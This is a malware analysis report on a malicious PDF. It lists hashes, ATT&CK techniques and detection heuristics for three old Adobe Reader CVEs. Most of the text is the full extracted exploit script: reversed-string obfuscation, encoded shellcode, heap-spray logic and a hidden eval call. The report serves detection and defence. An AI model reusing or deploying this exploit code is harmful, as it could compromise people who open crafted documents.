Malicious PDF — malware analysis report

Static analysis result for SHA-256 85429e24d65b5f49…

MALICIOUS

PDF

6.4 KB Created: 2010-05-18 22:56:35 +04:00 First seen: 2026-05-10
MD5: 186e9d76a6dcaa46ffcf32cb2fa74052 SHA-1: 5d4a940250239d6c627702e81f5df546afda1570 SHA-256: 85429e24d65b5f493dadc1f6c5edd68f675f387485eb5d1fd1ef242b3cf979e7
450 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript that utilizes multiple known vulnerabilities (CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) to execute code. The script performs a heap spray and is designed to download and execute a secondary payload. The presence of multiple exploit triggers and obfuscation indicates a malicious intent to compromise the user's system.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9967

Heuristics 10

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after nested-decoder de-obfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after nested-decoder de-obfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after nested-decoder de-obfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY
    PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    Result = Result + VP53.split('').reverse().join('');
var Result1 = Result.replace(/Q#/g, "\"");var Result2 = Result1.replace(/T__T/g, "\n"); var ap = this; var invent = "adobe acrobat"; var i = "e" + 'v'+ invent[0]  + "l"; ap [i](Result2);eval (Result2);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0004_000.js pdf-javascript-stream PDF /JS object 4 at offset 0x162 12691 bytes
SHA-256: e4a12e87d39259aa64a21b149ac90be8a5c6cf8958ad337aa0ac4a33f4810982
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var VP0 = "siderc+ #Qp#Q + #Qa#Q+ #Qcs#Q +  ]4[tsiderc +]12[tsiderc  + ]41[tsiderc = apaks ravT__TT__T ;#Qwen etadpu taborca eboda#Q = tsiderc ravT__TT__T ;siht = epa ravT__TT__T1.1.1//T__TT__T";
 var VP1 = "T__TT__T;)2/nel,0(gnirtsbus.psray=psrayT__TT__T};psray=+psray{  T__TT__T)nel<2*htgnel.psray(elihwT__TT__T{T__TT__T)nel,psray(ti_xif noitcnufT__TT__TT__TT__TT__TT__T;]apaks[ epa = yeknom ravT__TT__T ; ]4[t";
 var VP2 = "c0bu%e513u%be71u%#Q(yeknom=ayhtepvv rav  T__TT__T;)(yarrA wen=yrra rav  T__TT__T{  T__TT__T)nocIteg.balloC.cod.ppa(fiT__TT__T{T__TT__T)(ikhconoki_1retne noitcnufT__TT__TT__TT__T}T__TT__T;psray nruter";
 var VP3 = "e0cu%dc67u%70a3u%084cu%7cb0u%4008u%30a8u%2030u%be92u%3515u%30eau%2030u%ae38u%ffffu%4effu%6e8eu%8fffu%9d57u%1493u%40e0u%2013u%bb33u%bd66u%9c13u%3013u%0";
 var VP4 = "5a5u%6572u%05cfu%2515u%a80eu%d6a6u%47a6u%35b6u%bfb0u%772cu%d666u%bb20u%2cf0u%cf08u%cfcfu%be7du%e772u%1ce8u%b1a8u%082cu%a82fu%3030u%0f30u%6fbeu%d5a8u%f";
 var VP5 = "7a8u%d266u%b626u%6635u%3c3bu%f423u%a864u%6534u%b4cfu%cf67u%f505u%e8e5u%3535u%3535u%233cu%64b4u%f3a8u%cf65u%3535u%3535u%3c35u%cf23u%cfcfu%be1bu%a81cu%9";
 var VP6 = "5e8u%7020u%56bbu%7005u%e8d5u%a85eu%a27cu%f020u%56bbu%233cu%6435u%b2a8u%cf65u%6775u%55a8u%b135u%2c3eu%3b34u%3535u%333cu%1035u%353bu%3b18u%3c35u%5e23u%b";
 var VP7 = "2fcu%2b75u%23acu%6533u%35cfu%cf67u%8e3du%65f2u%35cfu%cf67u%b035u%e854u%5770u%35cfu%5470u%35e8u%233cu%7751u%683cu%5470u%7488u%cf65u%67f4u%35cfu%54b0u%3";
 var VP8 = "f65u%6534u%b4cfu%cf67u%3005u%3030u%e9a8u%35e8u%3535u%3c35u%7323u%cf65u%7535u%cf67u%3535u%3535u%3535u%5545u%4774u%74e8u%5c40u%a84eu%0f9au%233cu%a84eu%a";
 var VP9 = "e88u%b720u%7560u%f388u%8864u%7272u%88f6u%0c36u%f3d5u%8834u%34f7u%73e8u%8834u%8ea0u%34b0u%ea88u%37f1u%f088u%8834u%b7f0u%683cu%3433u%7688u%233cu%b355u%c";
 var VP10 = "5f1u%8488u%88f0u%8e56u%7220u%8895u%672eu%72b2u%83f7u%8e7fu%204cu%cce0u%402cu%3c77u%fa78u%3cffu%cf23u%de23u%8820u%8873u%73a4u%8e0eu%3220u%8895u%94b1u%9";
 var VP11 = "0d7u%a4eeu%be45u%a274u%1e07u%d7bdu%0b51u%17dfu%efc0u%8f49u%90beu%c1a7u%30f7u%6a41u%d0feu%d8d4u%cfcfu%39dfu%0cbeu%f126u%7472u%bea8u%8820u%8870u%208eu%9";
 var VP12 = "030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%0ec5u%8884u%c";
 var VP13 = "737u%6677u%1607u%4766u%76b7u%43c2u%e623u%7766u%2617u%c2d7u%1767u%c6d2u%6646u%c6d6u%66d2u%c6e6u%c2b6u%93c2u%7737u%b677u%3030u%3030u%3030u%3030u%3030u%3";
 var VP14 = " T__TT__T;2*htgnel.ayhtepvv=NC005qWh rav  T__TT__T;)#Q3000u%b637u%d237u%2677u%0777u%77c5u%4666u%77c2u%c607u%f6b6u%0626u%f6c6u%c2c2u%3793u%7777u%30b6u%b766u%d266u%6";
 var VP15 = " T__TT__T;000004x0/)000004x0-c0c0c0c0x0(=f56KjA5p rav  T__TT__T;)nel,psray(ti_xif=psray  T__TT__T;)#Q0909u%0909u%#Q(yeknom=psray rav  T__TT__T;)83x0+NC005qWh(-000004x0=nel rav ";
 var VP16 = "04x0<htgnel.wGbNhMUt(elihw  T__TT__T;)#Q90%#Q(yeknom=wGbNhMUt rav  T__TT__TT__TT__T};ayhtepvv+psray=]y69DQcqv[yrra{    T__TT__T)++y69DQcqv;f56KjA5p<y69DQcqv;0=y69DQcqv rav(rof ";
 var VP17 = "(yeknom=edocllehs ravT__TT__T{T__TT__T)(olim_3retne noitcnufT__TT__TT__TT__T}T__TT__T}  T__TT__T;)wGbNhMUt(nocIteg.balloC.cod.ppa;wGbNhMUt+#Q.N#Q=wGbNhMUt  T__TT__T};wGbNhMUt=+wGbNhMUt{    T__TT__T)00";
 var VP18 = "84cu%7cb0u%4008u%30a8u%2030u%be92u%3515u%30eau%2030u%ae38u%ffffu%4effu%6e8eu%8fffu%9d57u%1493u%40e0u%2013u%bb33u%bd66u%9c13u%3013u%0c0bu%e513u%be71u%#Q";
 var VP19 = "515u%a80eu%d6a6u%47a6u%35b6u%bfb0u%772cu%d666u%bb20u%2cf0u%cf08u%cfcfu%be7du%e772u%1ce8u%b1a8u%082cu%a82fu%3030u%0f30u%6fbeu%d5a8u%fe0cu%dc67u%70a3u%0";
 var VP20 = "635u%3c3bu%f423u%a864u%6534u%b4cfu%cf67u%f505u%e8e5u%3535u%3535u%233cu%64b4u%f3a8u%cf65u%3535u%3535u%3c35u%cf23u%cfcfu%be1bu%a81cu%95a5u%6572u%05cfu%2";
 var VP21 = "005u%e8d5u%a85eu%a27cu%f020u%56bbu%233cu%6435u%b2a8u%cf65u%6775u%55a8u%b135u%2c3eu%3b34u%3535u%333cu%1035u%353bu%3b18u%3c35u%5e23u%b7a8u%d266u%b626u%6";
 var VP22 = "533u%35cfu%cf67u%8e3du%65f2u%35cfu%cf67u%b035u%e854u%5770u%35cfu%5470u%35e8u%233cu%7751u%683cu%5470u%7488u%cf65u%67f4u%35cfu%54b0u%35e8u%7020u%56bbu%7";
 var VP23 = "f67u%3005u%3030u%e9a8u%35e8u%3535u%3c35u%7323u%cf65u%7535u%cf67u%3535u%3535u%3535u%5545u%4774u%74e8u%5c40u%a84eu%0f9au%233cu%a84eu%a2fcu%2b75u%23acu%6";
 var VP24 = "388u%8864u%7272u%88f6u%0c36u%f3d5u%8834u%34f7u%73e8u%8834u%8ea0u%34b0u%ea88u%37f1u%f088u%8834u%b7f0u%683cu%3433u%7688u%233cu%b355u%cf65u%6534u%b4cfu%c";
 var VP25 = "e56u%7220u%8895u%672eu%72b2u%83f7u%8e7fu%204cu%cce0u%402cu%3c77u%fa78u%3cffu%cf23u%de23u%8820u%8873u%73a4u%8e0eu%3220u%8895u%94b1u%9e88u%b720u%7560u%f";
 var VP26 = "274u%1e07u%d7bdu%0b51u%17dfu%efc0u%8f49u%90beu%c1a7u%30f7u%6a41u%d0feu%d8d4u%cfcfu%39dfu%0cbeu%f126u%7472u%bea8u%8820u%8870u%208eu%95f1u%8488u%88f0u%8";
 var VP27 = "030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%0ec5u%8884u%c0d7u%a4eeu%be45u%a";
 var VP28 = "766u%76b7u%43c2u%e623u%7766u%2617u%c2d7u%1767u%c6d2u%6646u%c6d6u%66d2u%c6e6u%c2b6u%93c2u%7737u%b677u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3";
 var VP29 = " wen=yarra_mem ravT__TT__T;)#Q3000u%b637u%d237u%2677u%0777u%77c5u%4666u%77c2u%c607u%f6b6u%0626u%f6c6u%c2c2u%3793u%7777u%30b6u%b766u%d266u%6737u%6677u%1607u%4";
 var VP30 = "srayT__TT__T;)#Q0909u%0909u%#Q(yeknom=psray ravT__TT__T;)83x0+nel_cs(-rdda=nel ravT__TT__T;2*htgnel.edocllehs=nel_cs ravT__TT__T;000004x0=rdda ravT__TT__T;c0c0c0c0x0=cc ravT__TT__T;)(yarrA";
 var VP31 = "yeknom=wolfrevo ravT__TT__T};edocllehs+psray=]tnuoc[yarra_mem{	T__TT__T)++tnuoc;2tnuoc<tnuoc;0=tnuoc rav(rofT__TT__T;rdda/)000004x0-cc(=2tnuoc ravT__TT__T;)nel,psray(ti_xif=p";
 var VP32 = "tcnufT__TT__TT__TT__T}T__TT__T;)}wolfrevo:gsm,#Q#Q:jbus{(ofnIliamEtcelloc.balloC=erotSballoc.sihtT__TT__T};wolfrevo=+wolfrevo{	T__TT__T)25944<htgnel.wolfrevo(elihwT__TT__T;)#Qc0c0u%c0c0u%#Q(";
 var VP33 = "eau%2030u%ae38u%ffffu%4effu%6e8eu%8fffu%9d57u%1493u%40e0u%2013u%bb33u%bd66u%9c13u%3013u%0c0bu%e513u%be71u%#Q(yeknom=daolyap ravT__TT__T{T__TT__T)(itnirp_2retne noi";
 var VP34 = "66u%bb20u%2cf0u%cf08u%cfcfu%be7du%e772u%1ce8u%b1a8u%082cu%a82fu%3030u%0f30u%6fbeu%d5a8u%fe0cu%dc67u%70a3u%084cu%7cb0u%4008u%30a8u%2030u%be92u%3515u%30";
 var VP35 = "05u%e8e5u%3535u%3535u%233cu%64b4u%f3a8u%cf65u%3535u%3535u%3c35u%cf23u%cfcfu%be1bu%a81cu%95a5u%6572u%05cfu%2515u%a80eu%d6a6u%47a6u%35b6u%bfb0u%772cu%d6";
 var VP36 = "35u%b2a8u%cf65u%6775u%55a8u%b135u%2c3eu%3b34u%3535u%333cu%1035u%353bu%3b18u%3c35u%5e23u%b7a8u%d266u%b626u%6635u%3c3bu%f423u%a864u%6534u%b4cfu%cf67u%f5";
 var VP37 = "35u%e854u%5770u%35cfu%5470u%35e8u%233cu%7751u%683cu%5470u%7488u%cf65u%67f4u%35cfu%54b0u%35e8u%7020u%56bbu%7005u%e8d5u%a85eu%a27cu%f020u%56bbu%233cu%64";
 var VP38 = "23u%cf65u%7535u%cf67u%3535u%3535u%3535u%5545u%4774u%74e8u%5c40u%a84eu%0f9au%233cu%a84eu%a2fcu%2b75u%23acu%6533u%35cfu%cf67u%8e3du%65f2u%35cfu%cf67u%b0";
 var VP39 = "f7u%73e8u%8834u%8ea0u%34b0u%ea88u%37f1u%f088u%8834u%b7f0u%683cu%3433u%7688u%233cu%b355u%cf65u%6534u%b4cfu%cf67u%3005u%3030u%e9a8u%35e8u%3535u%3c35u%73";
 var VP40 = "4cu%cce0u%402cu%3c77u%fa78u%3cffu%cf23u%de23u%8820u%8873u%73a4u%8e0eu%3220u%8895u%94b1u%9e88u%b720u%7560u%f388u%8864u%7272u%88f6u%0c36u%f3d5u%8834u%34";
 var VP41 = "beu%c1a7u%30f7u%6a41u%d0feu%d8d4u%cfcfu%39dfu%0cbeu%f126u%7472u%bea8u%8820u%8870u%208eu%95f1u%8488u%88f0u%8e56u%7220u%8895u%672eu%72b2u%83f7u%8e7fu%20";
 var VP42 = "30u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%0ec5u%8884u%c0d7u%a4eeu%be45u%a274u%1e07u%d7bdu%0b51u%17dfu%efc0u%8f49u%90";
 var VP43 = "67u%c6d2u%6646u%c6d6u%66d2u%c6e6u%c2b6u%93c2u%7737u%b677u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%3030u%30";
 var VP44 = "77u%0777u%77c5u%4666u%77c2u%c607u%f6b6u%0626u%f6c6u%c2c2u%3793u%7777u%30b6u%b766u%d266u%6737u%6677u%1607u%4766u%76b7u%43c2u%e623u%7766u%2617u%c2d7u%17";
 var VP45 = "ezisredaeh ravT__TT__T;)#QA0A0u%A0A0u%#Q(yeknom=kcolbgib ravT__TT__T;daolyap+pon=kcolbpaeh ravT__TT__T;)#QA0A0u%A0A0u%A0A0u%A0A0u%#Q(yeknom=pon ravT__TT__T;)#Q3000u%b637u%d237u%26";
 var VP46 = "T__TT__T;)yarps,0(gnirtsbus.kcolbgib=kcolbllif ravT__TT__TT__TT__T};kcolbgib=+kcolbgib{     T__TT__T)yarps<htgnel.kcolbgib(elihwT__TT__T;htgnel.kcolbpaeh+ezisredaeh=yarps ravT__TT__T;02=";
 var VP47 = "arrA wen=yarra_mem ravT__TT__T};kcolbllif+kcolb+kcolb=kcolb{     T__TT__T)00004x0<yarps+htgnel.kcolb(elihwT__TT__T;)yarps-htgnel.kcolbgib,0(gnirtsbus.kcolbgib=kcolb rav";
 var VP48 = "8888888888888888888888888888888888888888888888888888899999999999999999921=mun ravT__TT__T};kcolbpaeh+kcolb=]i[yarra_mem{     T__TT__T)++i;0041<i;0=i rav(rofT__TT__T;)(y";
 var VP49 = "888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888";
 var VP50 = "pa=noisrev ravT__TT__T{T__TT__T)(eloHtceleS noitcnufT__TT__TT__TT__T}T__TT__T;)mun,#Qf00054%#Q(ftnirp.lituT__TT__T;8888888888888888888888888888888888888888888888888888888888888888888888888";
 var VP51 = "T__TT__T;))2(tArahc.noisrev,)1(tArahc.noisrev,)0(tArahc.noisrev(yarrA wen=yarra_noisrav ravT__TT__T;)'',g/D\/(ecalper.noisrev=noisrevT__TT__T;)(gnirtSot.noisreVreweiv.p";
 var VP52 = "8<]0[yarra_noisrav	(fiT__TT__TT__TT__T};)(itnirp_2retne{	T__TT__T)	 ))3<]2[yarra_noisrav && 1==]1[yarra_noisrav(||)0==]1[yarra_noisrav(( && )8==]0[yarra_noisrav(		(fiT__TT__T";
 var VP53 = "T__TT__TT__TT__T;)(eloHtceleST__TT__TT__TT__T}T__TT__TT__TT__T};)(ikhconoki_1retne{	T__TT__T))1<]1[yarra_noisrav && 9==]0[yarra_noisrav(||)9<]0[yarra_noisrav(	(fiT__TT__TT__TT__T};)(olim_3retne{	T__TT__T)";


  var Result = "";
Result = Result + VP0.split('').reverse().join(''); 
Result = Result + VP1.split('').reverse().join(''); 
Result = Result + VP2.split('').reverse().join(''); 
Result = Result + VP3.split('').reverse().join(''); 
Result = Result + VP4.split('').reverse().join(''); 
Result = Result + VP5.split('').reverse().join(''); 
Result = Result + VP6.split('').reverse().join(''); 
Result = Result + VP7.split('').reverse().join(''); 
Result = Result + VP8.split('').reverse().join(''); 
Result = Result + VP9.split('').reverse().join(''); 
Result = Result + VP10.split('').reverse().join(''); 
Result = Result + VP11.split('').reverse().join(''); 
Result = Result + VP12.split('').reverse().join(''); 
Result = Result + VP13.split('').reverse().join(''); 
Result = Result + VP14.split('').reverse().join(''); 
Result = Result + VP15.split('').reverse().join(''); 
Result = Result + VP16.split('').reverse().join(''); 
Result = Result + VP17.split('').reverse().join(''); 
Result = Result + VP18.split('').reverse().join(''); 
Result = Result + VP19.split('').reverse().join(''); 
Result = Result + VP20.split('').reverse().join(''); 
Result = Result + VP21.split('').reverse().join(''); 
Result = Result + VP22.split('').reverse().join(''); 
Result = Result + VP23.split('').reverse().join(''); 
Result = Result + VP24.split('').reverse().join(''); 
Result = Result + VP25.split('').reverse().join(''); 
Result = Result + VP26.split('').reverse().join(''); 
Result = Result + VP27.split('').reverse().join(''); 
Result = Result + VP28.split('').reverse().join(''); 
Result = Result + VP29.split('').reverse().join(''); 
Result = Result + VP30.split('').reverse().join(''); 
Result = Result + VP31.split('').reverse().join(''); 
Result = Result + VP32.split('').reverse().join(''); 
Result = Result + VP33.split('').reverse().join(''); 
Result = Result + VP34.split('').reverse().join(''); 
Result = Result + VP35.split('').reverse().join(''); 
Result = Result + VP36.split('').reverse().join(''); 
Result = Result + VP37.split('').reverse().join(''); 
Result = Result + VP38.split('').reverse().join(''); 
Result = Result + VP39.split('').reverse().join(''); 
Result = Result + VP40.split('').reverse().join(''); 
Result = Result + VP41.split('').reverse().join(''); 
Result = Result + VP42.split('').reverse().join(''); 
Result = Result + VP43.split('').reverse().join(''); 
Result = Result + VP44.split('').reverse().join(''); 
Result = Result + VP45.split('').reverse().join(''); 
Result = Result + VP46.split('').reverse().join(''); 
Result = Result + VP47.split('').reverse().join(''); 
Result = Result + VP48.split('').reverse().join(''); 
Result = Result + VP49.split('').reverse().join(''); 
Result = Result + VP50.split('').reverse().join(''); 
Result = Result + VP51.split('').reverse().join(''); 
Result = Result + VP52.split('').reverse().join(''); 
Result = Result + VP53.split('').reverse().join(''); 
var Result1 = Result.replace(/Q#/g, "\"");var Result2 = Result1.replace(/T__T/g, "\n"); var ap = this; var invent = "adobe acrobat"; var i = "e" + 'v'+ invent[0]  + "l"; ap [i](Result2);eval (Result2);

Open this report in the interactive analyzer, or submit your own file for analysis.